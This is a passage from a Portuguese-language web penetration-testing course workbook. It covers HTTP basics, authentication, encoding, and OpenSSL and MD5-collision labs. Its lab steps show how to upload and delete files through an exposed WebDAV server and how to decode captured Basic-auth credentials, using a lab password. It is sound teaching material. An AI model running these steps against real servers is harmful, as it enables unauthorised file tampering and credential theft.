So divididos em cinco classes, de acordo com o significado:

1 1xx: cdigos de informao. Atualmente, so raramente utilizados.


1 2xx: indicam que a requisio foi atendida com sucesso. Ex.: 200 OK resposta padro,
quando o recurso provido sem erros.

1 3xx: informam que o cliente precisa realizar aes adicionais para completar a requi-
sio. Ex.: 301 Moved Permanently faz com que requisies subsequentes da URL
solicitada sejam permanentemente redirecionadas para a informada na mensagem.

1 4xx: enviadas quando a requisio no pode ser atendida, por erro de sintaxe, falta de
autorizao ou porque o recurso no foi encontrado. Ex.: 404 Not Found o recurso no
pde ser encontrado no servidor.

1 5xx: indicam erros no servidor que o impediram de atender a requisio. Ex.: 501 Not
Implemented o servidor no suporta o mtodo solicitado.

Cabealhos
Os cabealhos compem a segunda seo das requisies e respostas e definem vrias q
caractersticas importantes de ambas. So compostos pelo nome e o valor, separados
pelo sinal de dois-pontos e listados um por linha.

Os itens a seguir explicam alguns dos cabealhos encontrados nos exemplos anteriores:

1 Host: nome de domnio do servidor.


1 User-Agent: indica a aplicao cliente que gerou a requisio.
Teste de Invaso de Aplicaes Web

1 Accept: tipos de contedo aceitos pela aplicao cliente.


1 Server: nome do servidor e informaes do sistema operacional. Se nenhum meca-
nismo de camuflagem for utilizado, pode ser empregado para identificao do elemento,
durante a fase de reconhecimento em um ataque.

1 Set-Cookie: define um cookie no navegador, que um dos mecanismos utilizados para


manter uma sesso, no protocolo HTTP.

18
1 Expires: determina a validade do corpo da mensagem, isto , at que instante o nave-
gador pode utiliz-lo, a partir de uma cpia local, sem necessitar realizar novas requisi-
es para o mesmo recurso.

1 Content-Length: o comprimento em bytes do corpo da mensagem.

Cookies
Um cookie um elemento do protocolo HTTP, enviado ao navegador pelo servidor, com q
o objetivo de lembrar informaes de um usurio especfico. formado por uma cadeia
de caracteres, normalmente organizada em pares nome/valor, separados por ponto e
vrgula. Uma vez definido, enviado pelo navegador em toda requisio subsequente
ao mesmo domnio. Dois usos principais so a manuteno de sesso, uma vez que isso
no suportado nativamente pelo protocolo, e a autenticao de usurios.

Alguns atributos podem ser definidos para os cookies, alm dos pares contendo nome e
valor (Stuttard e Pinto, 2007):

1 expires: define por quanto tempo o cookie vlido e, assim, permite que o estado se
mantenha aps o navegador ser encerrado.

1 domain: define para quais domnios o cookie vlido, desde que o servidor seja um
membro daqueles.

1 path: define os caminhos para os quais o cookie vlido.


1 secure: demanda que o cookie seja enviado somente em requisies feitas por meio de HTTPS.
1 HttpOnly: quando definido, impede que seja acessado por cdigo executado no lado do
cliente. Porm, nem todo navegador honra esse atributo.

Autenticao HTTP
O protocolo HTTP possui dois mtodos nativos, Basic e Digest, para autenticar usurios q
antes que acessem recursos protegidos do servidor (Franks et al., 1999).

Ambos seguem o seguinte fluxo geral:

1. Usurio solicita um recurso protegido do servidor.

2. Se o usurio ainda no se autenticou, uma resposta com cdigo de estado 401


Unauthorized enviada ao navegador, juntamente com um cabealho WWW-
Authenticate, que define o tipo requerido de autenticao.

3. O usurio fornece usurio e senha em uma caixa de dilogo, os quais so enviados, em


BASE64 um cabealho Authorization, codificados em BASE64, no caso de Basic, e protegidos pelo
Captulo 1 - Segurana em aplicaes web

Esquema de algoritmo MD5, no caso de Digest.


codificao que utiliza
um subconjunto de 4. Se as credenciais enviadas forem vlidas, o servidor fornece o recurso solicitado e as
64 elementos da credenciais so includas em toda requisio subsequente ao mesmo domnio. Se no,
tabela ASCII para
representao o fluxo retorna ao segundo passo.

q
de informaes.
A impossibilidade de travamento de conta por mltiplas tentativas sucessivas e invlidas
de autenticao e a inexistncia de mecanismos de encerramento de sesso (exceto
fechando o navegador) so alguns dos problemas desses mtodos de autenticao.

19
Exerccio de fixao 3 e
Protocolo HTTP
Quais as principais caractersticas do protocolo HTTP?

Como funciona o protocolo HTTP?

Como requisies HTTP oriundas de um mesmo usurio podem ser agrupadas em uma
nica conversao?

Esquemas de codificao
Um processo de codificao consiste em substituir elementos de um conjunto por itens q
de outro, segundo uma regra pr-estabelecida, de modo que o simples conhecimento das
transformaes de ida e volta suficiente para realizar as tradues entre os dois domnios.

Em segurana de aplicaes web, esquemas de codificao podem ser empregados na


proteo contra alguns ataques, como o cross-site scripting, por exemplo, e, em testes de
invaso, para a construo correta dos vetores de teste, quando estes so passados por
meio de URLs, alm do contorno de filtros de entrada.

Codificao de URL
Uma URL ou mais geralmente uma URI pode conter somente caracteres ASCII impri- q
mveis, conforme especificado pela RFC 3986. Alguns deles possuem significado especial
em URLs, atuando como delimitadores, e, assim, so classificados como reservados.
Quando precisam ser utilizados como dados, nesse contexto, devem ser codificados,
para que possam ser corretamente identificados como tais. O mtodo empregado,
chamado de codificao de URL ou codificao percentual, consiste no uso de um
caractere % seguido de dois dgitos hexadecimais, que representam o valor numrico
do dado sendo codificado.

Por exemplo, um espao, cujo valor ASCII 32, mapeado para %20, de acordo com esse
esquema. Note que, em URLs, espaos tambm podem ser substitudos pelo caractere +.
Teste de Invaso de Aplicaes Web

importante mencionar que caracteres no imprimveis devem sempre ser codificados


segundo esse esquema, assim como os reservados, enquanto que os demais elementos
podem ser transformados, embora isso no seja obrigatrio.

A Figura 1.9 ilustra a codificao de todos os caracteres reservados de acordo com a RFC
3986. importante mencionar que caracteres no imprimveis devem sempre ser codifi-
cados segundo esse esquema, assim como os reservados, enquanto que os demais ele-
mentos podem ser transformados, se desejado, embora isso no seja obrigatrio.

20
Caractere Caractere Caractere Caractere
reservado codificado reservado codificado

! %21 = %3D

* %2A + %2B

%27 $ %24

( %28 , %2C

) %29 / %2F

; %3B ? %3F

: %3A # %23
Figura 1.9
Codificao dos @ %40 [ %5B
caracteres
reservados em URL. & %26 ] %5D

Codificao HTML
Alguns caracteres possuem significado especial em HTML e, assim, se for necessrio q
exibi-los como parte do contedo, necessrio codific-los, para que no sejam conside-
rados como metacaracteres pelo navegador web. Existem trs maneiras de efetuar essa
tarefa, descritas a seguir:

1 &<nome da entidade>; os caracteres especiais possuem nomes especficos em


HTML, os quais podem ser empregados no processo de codificao. Por exemplo, o
caractere < codificado como &lt;, pois lt o nome de entidade especificado pelo
padro para esse smbolo.

1 &#<nmero decimal>; utiliza o valor Unicode do caractere, em base decimal. Por


exemplo, < codificado como &#60;.

1 &#x<nmero hexadecimal>; idem ao caso acima, porm, representado em base


hexadecimal. Aplicando ao mesmo exemplo, obtm-se &#x3c;.

Captulo 1 - Segurana em aplicaes web

21
22
Teste de Invaso de Aplicaes Web
Roteiro de Atividades 1
Atividade 1 Arquiteturas e tecnologias de aplicaes web
Identifique a arquitetura e as tecnologias empregadas por uma das aplicaes web utili-
zadas pela empresa em que trabalha. Desenhe a topologia de rede contendo os elementos
principais que suportam a aplicao.

Atividade 2 Mecanismos criptogrficos


Nesta atividade, o aluno aprender como utilizar os diversos mecanismos criptogrficos
vistos na sesso de aprendizagem. A ferramenta que ser empregada o OpenSSL, alm
de outros programas acessrios. Para iniciar esta atividade, abra um terminal na mquina
virtual do aluno, mude para o diretrio Arquivos do Curso/sesso-01 e siga o roteiro abaixo.

Cifras simtricas
O Advanced Encryption Standard (AES) uma cifra simtrica de blocos adotada pelo
governo norte-americano e descrita no documento FIPS PUB 197. O AES especifica o algo-
ritmo Rijndael, operando sobre blocos de dados de 128 bits e com chaves de 128, 192 ou
256 bits. Note que a especificao original de Rijndael permite trabalhar com tamanhos de
blocos e chaves adicionais.

1. Gerao de chaves AES

O primeiro passo antes de se utilizar uma cifra simtrica na proteo do sigilo de informaes
gerar uma chave o mais aleatria possvel e distribu-la seguramente a todas as partes autori-
zadas. Quando o objetivo proteger uma comunicao, isso realizado como parte de um pro-
tocolo de estabelecimento de chaves. Por outro lado, se o propsito prover o sigilo de dados
armazenados, a chave gerada por um PRNG ou por um hardware criptogrfico.

Nesta atividade, vamos utilizar o comando rand, do OpenSSL, para a gerao de uma chave
de 128 bits:

openssl rand hex 16

A sada corresponde a uma cadeia de 32 dgitos hexa, que totaliza 128 bits, e pode ser
empregada como chave de um AES-128.

2. Cifrando mensagens

O comando para cifrar uma mensagem com o algoritmo AES, usando uma chave de 128 bits,
Captulo 1 - Roteiro de Atividades

no modo de operao CBC, :

openssl aes-128-cbc in <arquivo a ser cifrado> -out <arquivo cifrado>


-K <chave em hexadecimal>
-iv <vetor de inicializao>

Cifre o arquivo arq002.txt com a chave gerada no passo 1 e com iv = 0, armazenando o resultado
em arq002.enc. Verifique o tamanho desse arquivo e observe que ele mltiplo de 16 bytes
(128 bits tamanho do bloco AES), embora o arquivo original no seja. Isso ocorre porque cifras

23
simtricas de blocos operam sempre em unidades de tamanho fixo pr-definido e, quando o
ltimo bloco no mltiplo desse tamanho, ele completado em um processo de padding.

Repita o processo para o arquivo arq001.txt, armazenando o resultado em arq001.enc,


e verifique os tamanhos dos dois arquivos. Note que um bloco adicional de 16 bytes foi
adicionado ao arquivo cifrado, apesar do arquivo original ser mltiplo do tamanho do bloco
utilizado pelo AES. Nesse caso, um bloco de padding deve ser includo, para que o algoritmo
possa diferenciar os dois casos, no processo de deciframento.

3. Decifrando mensagens

O comando para decifrar mensagens com o algoritmo AES, usando uma chave de 128 bits,
no modo de operao CBC, :

openssl aes-128-cbc d in <arquivo cifrado> -out <arquivo decifrado>


-K <chave em hexadecimal>
-iv <vetor de inicializao>

Decifre o arquivo arq002.enc, armazenando o resultado em arq002.plain. Verifique que o


contedo desse arquivo o mesmo de arq002.txt.

Repita o processo com uma chave diferente da utilizada no processo de ciframento. Uma
mensagem de erro ser exibida, pois somente possvel decifrar o arquivo com a mesma
chave utilizada para proteg-lo.

Cifras assimtricas
O RSA, cujo nome deriva dos criadores Rivest, Shamir e Adleman, foi a primeira cifra assim-
trica da histria da criptografia e baseada na dificuldade da fatorao de nmeros inteiros
grandes. Atualmente, o criptossistema de chave pblica mais utilizado, principalmente, na
negociao de tneis SSL/TLS.

1. Gerao de um par de chaves RSA

Um par de chaves RSA consiste em uma chave pblica (e, n) e da chave privada correspon-
dente d. Execute o comando abaixo para gerao de um par de chaves de k bits, com k = 2048.

openssl genrsa out <arquivo que armazenar par de chaves>


<tamanho em bits da chave>

2. Visualizao do par de chaves RSA

Para visualizar o par de chaves gerado, execute o seguinte comando:

openssl rsa in <arquivo contendo par de chaves>

fcil observar que o formato da sada no adequado para a visualizao de cada uma das
Teste de Invaso de Aplicaes Web

chaves. Para uma sada mais amigvel, tente o seguinte comando:

openssl rsa in <arquivo contendo par de chaves> -text noout

A sada agora est em hexadecimal e tm-se: chave pblica = (publicExponent, modulus) e


chave privada = (privateExponent).

3. Exportao da chave pblica

Para que as pessoas possam cifrar mensagens para voc, necessrio que elas tenham uma
cpia autntica da sua chave pblica. Normalmente, isso feito por meio de certificados

24
digitais, mas, por enquanto, apenas exportaremos a chave pblica para um arquivo sepa-
rado, da seguinte maneira:

openssl rsa in <arquivo contendo par de chaves> -pubout >


<arquivo que conter chave pblica>

4. Cifrando mensagens

Nesse passo necessrio disponibilizar sua chave pblica para aqueles que queiram
enviar-lhe mensagens sigilosas. Assim, fornea o arquivo gerado no passo anterior para
um de seus colegas.

Crie um arquivo texto qualquer menor que 200 bytes e execute o comando abaixo para
cifr-lo, usando a chave pblica previamente fornecida.

openssl rsautl in <arquivo a ser cifrado> -out <arquivo cifrado>


-inkey <arquivo de chave pblica do destinatrio>
-pubin encrypt

Verifique o contedo do arquivo cifrado e veja que ele binrio, no tendo nenhuma relao
com o arquivo em claro. Porm, observe que o tamanho do arquivo exatamente o mesmo
que o tamanho da chave.

5. Decifrando mensagens

Repasse o arquivo gerado a seu colega que disponibilizou a chave pblica, para que ele
possa recuperar a mensagem original. Envie tambm o arquivo cifrado a outro colega que
no possua a chave privada correspondente.

O comando para deciframento :

openssl rsautl in <arquivo cifrado> -out <arquivo decifrado>


-inkey <arquivo com chave privada>
-decrypt

O destinatrio correto conseguir decifrar o arquivo e recuperar o arquivo original,


enquanto que o usurio que no possui a chave privada correspondente obter erro ao
executar o comando acima.

6. Arquivos grandes

Repita o passo explicado no item 4 para um arquivo que seja maior que o mdulo da chave
(divida o tamanho em bits por 8). O que acontece? Esse erro ocorre porque o RSA no pode
ser utilizado para proteger mensagens maiores que o tamanho do mdulo.

Funes de hash criptogrficas


Captulo 1 - Roteiro de Atividades

1. Cite trs usos de funes de hash criptogrficas.

25
2. Listagem de funes de hash criptogrficas suportadas pelo OpenSSL

O OpenSSL suporta nativamente diversas funes de hash criptogrficas, alm de outros


algoritmos criptogrficos. Para verificar a lista de hashes suportados, digite:

man dgst

3. Clculo de hashes

A sintaxe utilizada pelo OpenSSL para clculo de hashes de um arquivo qualquer :

openssl dgst -<algoritmo> <lista de arquivos>

Calcule os hashes dos arquivos abaixo e verifique que so exatamente os mesmos que os
apresentados na tabela.

MD5

arqhash01.txt () d41d8cd98f00b204e9800998ecf8427e

arqhash02.txt (a) 0cc175b9c0f1b6a831c399e269772661

arqhash03.txt (abc) 900150983cd24fb0d6963f7d28e17f72

SHA-1

arqhash01.txt () da39a3ee5e6b4b0d3255bfef95601890afd80709

arqhash02.txt (a) 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8

arqhash03.txt (abc) a9993e364706816aba3e25717850c26c9cd0d89d

RIPEMD-160

arqhash01.txt () 9c1185a5c5e9fc54612808977ee8f548b2258d31

arqhash02.txt (a) 0bdc9d2d256b3ee9daae347be6f4dc835a467ffe

arqhash03.txt (abc) 8eb208f7e05d987a9b044a8e98c6b087f15a0bfc

4. Colises em MD5 Documentos

Visualize com a aplicao evince os arquivos letter_of_rec.ps e order.ps, criados por Magnus
Daum e Stefan Lucks, e veja que so diferentes. Calcule tambm o MD5 dos arquivos, usando
o comando do exerccio anterior, e observe que eles colidem.

Repita o exerccio com os arquivos BarackObama.pdf, JohnMcCain.pdf e ParisHilton.pdf,


criados por Marc Stevens, Arjen Lenstra e Benne de Weger.

5. Colises em MD5 Programas


Teste de Invaso de Aplicaes Web

Execute os programas evil e good para constatar que realizam tarefas diferentes, embora
possuam o mesmo MD5.

6. Gerao de colises em MD5

Descompacte o arquivo fastcoll_v1.0.0.1_source.zip, digitando o comando:

unzip fastcoll_v1.0.0.1_source.zip

Em seguida, gere um executvel, compilando os fontes obtidos:

g++ *.cpp o md5col

26
Agora, execute o arquivo gerado para obter um par de arquivos, msg1 e msg2, para os quais
o MD5 colide. Caso a execuo demore mais que 5 minutos, cancele o programa e o reinicie.

./md5col

Verifique com o comando cmp que os arquivos gerados so diferentes e, com o comando
OpenSSL, que os hashes, mesmo assim, colidem:

cmp msg1 msg2


openssl dgst md5 msg1 msg2

Execute o programa md5col mais uma vez para gerar uma nova coliso e compare os valores
MD5 das mensagens geradas.

Assinaturas digitais
O RSA, alm de ser uma cifra, tambm um algoritmo de assinatura digital, que utiliza exa-
tamente a mesma construo e processo de gerao de chaves. A assinatura gerada por
meio da chave privada e a verificao ocorre utilizando-se a chave pblica.

1. Gerao de um par de chaves RSA

Conforme mencionado, o processo de gerao de chaves o mesmo que os das cifras RSA.
Assim, execute o comando abaixo para gerao de um par de chaves de 2048 bits:

openssl genrsa out <arquivo que armazenar par de chaves>


<tamanho em bits da chave>

2. Exportando a chave pblica

Para que pessoas possam verificar assinaturas digitais geradas por voc, necessrio que elas
tenham uma cpia autntica da sua chave pblica. Normalmente, isso feito por certificados
digitais, mas, por enquanto, apenas exportaremos a chave pblica para um arquivo separado:

openssl rsa in <arquivo contendo par de chaves> -pubout >


<arquivo que conter chave pblica>

3. Assinando mensagens

O OpenSSL implementa o RSA com recuperao da mensagem e, por isso, somente podem
ser assinados dados menores que o tamanho da chave. Escolha um arquivo que deseja
assinar digitalmente e execute o comando abaixo.

openssl rsautl -sign


in <arquivo a ser assinado>
-out <arquivo que armazenar a assinatura>
-inkey <arquivo contendo chave privada>
Captulo 1 - Roteiro de Atividades

pkcs

Repasse o arquivo de assinatura digital a outro aluno, juntamente com sua chave pblica,
para que ele possa verificar a assinatura.

4. Verificando assinaturas

Para verificar a assinatura enviada pelo seu colega, utilize o comando:

openssl rsautl verify


-in <arquivo contendo assinatura>

27
-inkey <arquivo contendo chave pblica>
-pubin
-pkcs
-out <arquivo recuperado da assinatura>

Se a assinatura for vlida, nenhuma mensagem ser exibida e o arquivo original ser recu-
perado e gravado no arquivo especificado pelo parmetro out.

Certificados digitais
Conforme discutido, em criptossistemas assimtricos fundamental que sejam utilizadas
chaves pblicas autnticas. O no atendimento desse requisito de segurana torna os proto-
colos vulnerveis a ataques man-in-the-middle, por exemplo. Uma maneira de solucionar esse
problema consiste em encapsular uma chave pblica em um certificado digital, que digital-
mente assinado por uma terceira parte confivel, chamada de autoridade certificadora.

O objetivo desta atividade ilustrar como certificados podem ser requisitados e como o
processo de emisso de certificados digitais, por parte da autoridade certificadora.

1. Gerando a requisio de certificado

Considere-se o par de chaves gerado na atividade sobre assinaturas digitais. Para que ter-
ceiros possam verificar assinaturas geradas com a chave privada em questo, eles precisam
ter acesso chave pblica autntica correspondente, a qual normalmente distribuda
encapsulada em um certificado digital. Para esse fim, o primeiro passo aps a gerao do
par de chaves preparar uma requisio (no formato PKCS #10) a ser enviada a uma autori-
dade certificadora, para emisso do certificado. O comando a ser executado :

openssl req new key <arquivo contendo par de chaves>


out <arquivo que conter requisio>
sha1

O OpenSSL solicitar as informaes a serem includas no certificado:

1 Country Name (2 letter code) [GB]: - Ex.: br


1 State or Province Name (full name): - Ex.: sp
1 Locality Name (eg, city) [Newbury]: - Ex.: Campinas
1 Organization Name (eg, company) [My Company Ltd.]: - Ex.: RNP
1 Organizational Unit Name (eg, section) []: - Ex.: ESR
1 Common Name (eg, your name or your servers hostname) []: - Ex.: Fulano de Tal
1 Email Address []: - Ex.: fulano@esr.rnp.br
1 A challenge password []: - Ex.: senhadificil
Teste de Invaso de Aplicaes Web

1 An optional company name []: - Ex.: Outro

2. Exibindo a requisio de certificado

Para visualizar a requisio, execute o seguinte comando:

openssl req in <arquivo de requisio de certificado>

fcil observar que o formato de sada no adequado para a visualizao da requisio.


Para uma sada mais amigvel, tente o seguinte comando:

openssl req in <arquivo de requisio de certificado> text noout

28
3. Emitindo o certificado

A requisio gerada deve ser encaminhada autoridade certificadora para emisso do


certificado. Na prtica, tambm necessrio provar sua identidade, pessoalmente, por meio
de documentos apropriados (se no fosse assim, como seria possvel atestar que a chave
pblica pertence a fulano?). O software para uma pequena CA j est instalado nos compu-
tadores e, assim, poderemos ver como o certificado gerado a partir da requisio.

O comando que pode ser executado para emitir o certificado :

openssl ca md sha1
in <arquivo de resquisio de certificado>
out <arquivo que conter o certificado>

Os dados da solicitao so exibidos e o OpenSSL pergunta se se deseja assinar o certifi-


cado. Aps uma resposta positiva, um certificado ser emitido e armazenado no diretrio /
etc/ssl/ca-esr-rnp/newcerts, com cpia no arquivo especificado pelo parmetro out.

4. Exibindo as informaes do certificado

Para visualizar o contedo do certificado, execute o seguinte comando:

openssl x509 in <certificado digital> text noout

5. Verificando a assinatura da AC sobre o certificado

De nada adianta receber um certificado digital e no verificar as assinaturas digitais na cadeia


de certificados que levam AC raiz. Se esse importante passo no for realizado, continuamos
sem poder atestar a autenticidade da chave pblica recebida. Verifique com o comando abaixo
o certificado emitido, considerando que o certificado da AC raiz cacert.pem:

openssl verify CAfile <certificado da AC raiz>


<certificado a ser verificado>

Se a validao no der erros, o nome do certificado ser escrito seguido de Ok.

6. Extraindo a chave pblica contida no certificado

Para cifrar dados para uma pessoa ou verificar assinaturas que ela tenha gerado, neces-
srio extrair a chave pblica do certificado digital validado. O comando que realiza isso :

openssl x509 in <certificado digital> -pubkey noout >


<arquivo que conter chave pblica>

Esta atividade tem o objetivo de ilustrar os protocolos HTTP e HTTPS, permitindo que o
aluno compreenda diversos aspectos envolvidos em uma interao com uma aplicao web.

Requisio e resposta
Captulo 1 - Roteiro de Atividades

O objetivo desta atividade ilustrar como so requisies e respostas HTTP, por meio da
anlise dos pacotes de uma solicitao ao servidor web de exemplo. Os passos que devem
ser executados esto descritos nos itens a seguir:

1. Inicie o Wireshark, presente no menu Aplicativos\Curso Ferramentas. Para conseguir cap-


turar os pacotes, a aplicao deve ser executada em modo privilegiado e, por isso, uma
senha ser solicitada. Digite esruser e clique em Ok.

29
2. Clique no primeiro cone da barra de ferramentas para listar as interfaces de rede dispon-
veis para captura. Na caixa de dilogo que aparece, clique em Options, na linha eth1. No
campo Capture filter, digite tcp port http e clique em Start para iniciar a captura de pacotes.

3. Inicie o Firefox e digite na barra de endereos exemplo.esr.rnp.br.

4. Pare a captura de pacotes no Wireshark clicando no quarto boto da barra de ferramentas


(Stop the running live capture).

5. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela linha contendo GET / HTTP/1.1 (linha 4), clique com o boto esquerdo e selecione
Follow TCP Stream.

6. Uma janela ser exibida contendo a requisio GET inicial e a resposta fornecida pelo
servidor web. Observe os diversos cabealhos presentes e que o corpo da resposta
contm um documento HTML.

7. Para finalizar, clique em Fechar e depois em Clear.

Mtodos
Nesta atividade sero explorados diversos outros mtodos HTTP, que no GET e POST, e
ilustradas algumas vulnerabilidades que podem decorrer de um servidor mal configurado:

1. Inicie um terminal, clicando no cone presente na rea de trabalho.

2. Para verificar os mtodos suportados pelo servidor web, digite:

telnet exemplo.esr.rnp.br 80
OPTIONS / HTTP/1.0
Host: exemplo.esr.rnp.br

3. Pressione Enter duas vezes e analise a resposta dada pelo servidor. Observe que o WebDAV
est habilitado, bem como mtodos perigosos como DELETE, COPY e MOVE.

O WebDAV compreende um conjunto de comandos que podem ser utilizados para


gerenciar arquivos em um servidor web de maneira colaborativa. Quando disponi-
bilizado para o pblico externo, pode facilitar o comprometimento do servidor, ao
permitir acesso ao sistema de arquivos.

4. Use o utilitrio cadaver para acessar as funcionalidades DAV do servidor:

cadaver http://exemplo.esr.rnp.br

5. Para listar os comandos disponveis, digite:

help
Teste de Invaso de Aplicaes Web

6. Liste os arquivos disponveis no sistema de arquivos:

ls

7. Faa o upload do arquivo arq001.txt e liste o diretrio novamente:

put arq001.txt
ls

30
8. O arquivo copiado pode ser removido por meio do comando delete do DAV, mas, como
exerccio, remova-o por meio de uma requisio HTTP, em uma nova janela de terminal:

telnet exemplo.esr.rnp.br 80
DELETE /arq001.txt HTTP/1.0
Host: exemplo.esr.rnp.br

9. Pressione Enter duas vezes e veja o resultado no cadaver, listando os arquivos presentes
no diretrio.

10. O mtodo HEAD equivalente ao GET, com a diferena de que o corpo da resposta no
fornecido. Vejamos:

telnet exemplo.esr.rnp.br 80
HEAD / HTTP/1.1
Host: exemplo.esr.rnp.br

11. Pressione Enter duas vezes e observe a ausncia do corpo da mensagem.

Cdigos de estado
Nas atividades anteriores, o servidor retornou sempre o cdigo de estado 2XX, indicando
que a requisio foi atendida com sucesso. Na presente tarefa, sero apresentadas situa-
es em que outros cdigos so fornecidos pelo servidor.

1. Em uma janela de terminal, digite os comandos abaixo, finalizando com Enter duas vezes:

telnet w3s.esr.rnp.br 80
GET / HTTP/1.1
Host: w3s.esr.rnp.br

A resposta com cdigo 302 indica ao navegador que o recurso foi encontrado, mas que um
redirecionamento necessrio para acessar o recurso.

2. Em uma janela de terminal, digite os comandos abaixo, finalizando com Enter duas vezes:

telnet exemplo.esr.rnp.br 80
GET /inexistente HTTP/1.1
Host: exemplo.esr.rnp.br

A resposta com cdigo 404 indica ao navegador que o recurso no foi encontrado no servidor.

3. Em uma janela de terminal, digite os comandos abaixo:

telnet exemplo.esr.rnp.br 80
BLA

Como no existe um mtodo BLA, o servidor retorna uma resposta com cdigo de estado
Captulo 1 - Roteiro de Atividades

501 Method not implemented.

Autenticao Basic
A autenticao bsica do protocolo HTTP pode ser configurada para restringir acesso a
reas sensveis do servidor web. Conforme visto, algumas desvantagens desse mtodo
incluem a impossibilidade de travamento de conta e de encerramento de sesses ociosas.
Siga o seguinte roteiro para essa atividade:

31
1. Inicie nova captura no Wireshark, da mesma maneira que na atividade de Requisio
e Resposta.

2. Caso a mensagem Save capture file before starting a new capture? aparea, clique em
Continue without saving.

3. Inicie o navegador e acesse exemplo.esr.rnp.br/basic.

4. Fornea para usurio e senha o texto esruser.

5. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-


mentas (Stop the running live capture).

6. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela primeira linha contendo GET /basic HTTP/1.1 (linha 4), clique com o boto esquerdo
e selecione Follow TCP Stream.

7. Observe que o servidor retornou uma resposta com cdigo 401, o que fez com que o nave-
gador exibisse a caixa de dilogo solicitando usurio e senha. Clique em Filter out this stream.

8. Procure pela nova requisio contendo GET e repita o processo do Passo 6.

9. Veja que o navegador adicionou o cabealho Authorization: Basic ZXNydXNlcjplc3J1c2Vy


requisio. A ltima parte corresponde ao usurio e senha em BASE64, que pode ser
decodificada com o comando:

echo ZXNydXNlcjplc3J1c2Vy | base64 -d; echo -e \n

10. Para finalizar, clique em Fechar e depois em Clear.

Autenticao Digest
A autenticao Digest do protocolo HTTP, assim como o modo Basic, pode ser configurada
para restringir acesso a reas sensveis do servidor web e possui as desvantagens de no
ser possvel travar contas, nem de encerrar sesses ociosas. A grande diferena que ela
transmite o usurio e senha protegidos por mtodos no reversveis. Para estudar esse
modo de autenticao, siga o seguinte roteiro:

1. Inicie nova captura no Wireshark, da mesma maneira que na atividade de Requisio


e Resposta.

2. Caso a mensagem Save capture file before starting a new capture? aparea, clique em
Continue without saving.

3. Se o Firefox j estiver aberto, pressione Ctrl + Shift + Del para limpar o histrico recente.

4. Acesse exemplo.esr.rnp.br/digest pelo Firefox.

5. Fornea para usurio e senha o texto esruser.


Teste de Invaso de Aplicaes Web

6. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela primeira linha contendo GET /digest HTTP/1.1 (linha 4), clique com o boto esquerdo
e selecione Follow TCP Stream.

7. Observe que o servidor retornou uma resposta com o cdigo 401, o que fez com que o
navegador exibisse a caixa de dilogo solicitando usurio e senha. Contudo, diferente-
mente do modo Basic, o cabealho WWW-Authenticate est definido como Digest e um
nonce foi fornecido. Clique em Filter out this stream.

8. Procure pela nova requisio contendo GET e repita o processo do passo 6.

32
9. Veja que o navegador adicionou o cabealho Authorization: Digest requisio, com
diversos parmetros. O elemento response demonstra o conhecimento da senha pelo
usurio e resultado da aplicao de uma funo de hash criptogrfica concatenao
de uma srie de informaes.

10. Para finalizar este exerccio, clique em Fechar e depois em Clear.

HTTPS
O protocolo HTTPS basicamente consiste no transporte de HTTP por um canal SSL/TLS.
Se o servidor estiver bem configurado, o tnel atender os requisitos de confidencialidade,
integridade, autenticidade da origem da mensagem e de entidades. Siga o seguinte roteiro
para constatar isso:

1. Inicie nova captura no Wireshark, da mesma maneira que na atividade de Requisio e


Resposta, mas preencha Capture filter com tcp port https.

2. Acesse https://w3s.esr.rnp.br com o Firefox.

3. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-


mentas (Stop the running live capture).

4. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela linha contendo Client Hello (linha 4), que o incio da negociao TLS.

5. A primeira troca de dados acontece a partir da linha 12 (Application Data). Selecione-a e,


no painel central, selecione Secure Socket Layer. Role o painel inferior e observe que no
h contedo legvel como parte da mensagem.

Captulo 1 - Roteiro de Atividades

33
Bibliografia 1
1 BARKER, Elaine; BARKER, William; BURR, William; POLK, William e SMID, Miles.
Recommendation for key management part 2: Best practices for key management
organization. NIST Special Publication 800-57, NIST, 2007b.

1 BERNERS-LEE, Tim; FIELDING, Roy T. e MASINTER, Larry. RFC 3986: Uniform Resource
Identifier (URI): Generic Syntax, 2005.

1 FIELDING, Roy T.; GETTYS, James; MOGUL, Jeffrey C.; NIELSEN, Henrik Frystyk; MASINTER,
Larry; LEACH, Paul J. e BERNERS-LEE, Tim. RFC 2616: Hypertext Transfer Protocol
HTTP/1.1, 1999.

1 FRANKS, John; HALLAM-BAKER, Phillip M.; HOSTETLER, Jeffery L.; LAWRENCE, Scott D.;
LEACH, Paul J.; LUOTONEN, Ari e STEWART, Lawrence C. RFC 2617: HTTP Authentication:
Basic and Digest Access Authentication, 1999.

1 KISSEL, Richard; STINE, Kevin; SCHOLL, Matthew; ROSSMAN, Hart; FAHLSING, Jim e
GULICK, Jessica. Security considerations in the system development life cycle. NIST Special
Publication SP 800-64, National Institute of Standards and Technology, 2008.

1 LITCHFIELD, David. The Oracle Hackers Handbook Hacking and Defending Oracle. Wiley
Publishing, Inc., 2007.

1 MCGRAW, Gary. Software Security: Building Security In. Addison-Wesley Professional, 2006.
1 MENEZES, Alfred J.; VAN OORSCHOT, Paul. C. e VANSTONE, Scott. A. Handbook of Applied
Cryptography. CRC Press, 5th edition, 2001.

1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008.


1 ORACLE. Your First Cup: an Introduction to the Java EETM Platform. PartNo: 821177010.
Junho. Oracle, 2010.

1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009a.

1 PCI. Payment Card Industry (PCI) Payment Application Data Security Standard (PA-DSS)
version 1.2.1. PCI Security Standards Council, 2009b.

1 SEACORD, Robert C. Secure Coding in C and C++. Addison-Wesley Professional, 2005.


1 SHANNON, Claude. Communication Theory of Secrecy Systems, Bell Systems Technical
Journal, Vol. 28, p. 656-715, 1949.

1 SHKLAR, Leon e ROSEN, Richard. Web Application Architecture: Principles, Protocols and
Practices. 2. Edio. Wiley, 2009.

1 STEVENS, Marc; SOTIROV, Alexander; APPELBAUM, Jacob; LENSTRA, Arjen; MOLNAR,


Teste de Invaso de Aplicaes Web

David; OSVIK, Dag Arne e DE WEGER, Benne. Short Chosen-Prefix Collisions for MD5 and
the Creation of a Rogue CA Certificate. In: Proceedings of the 29th Annual International
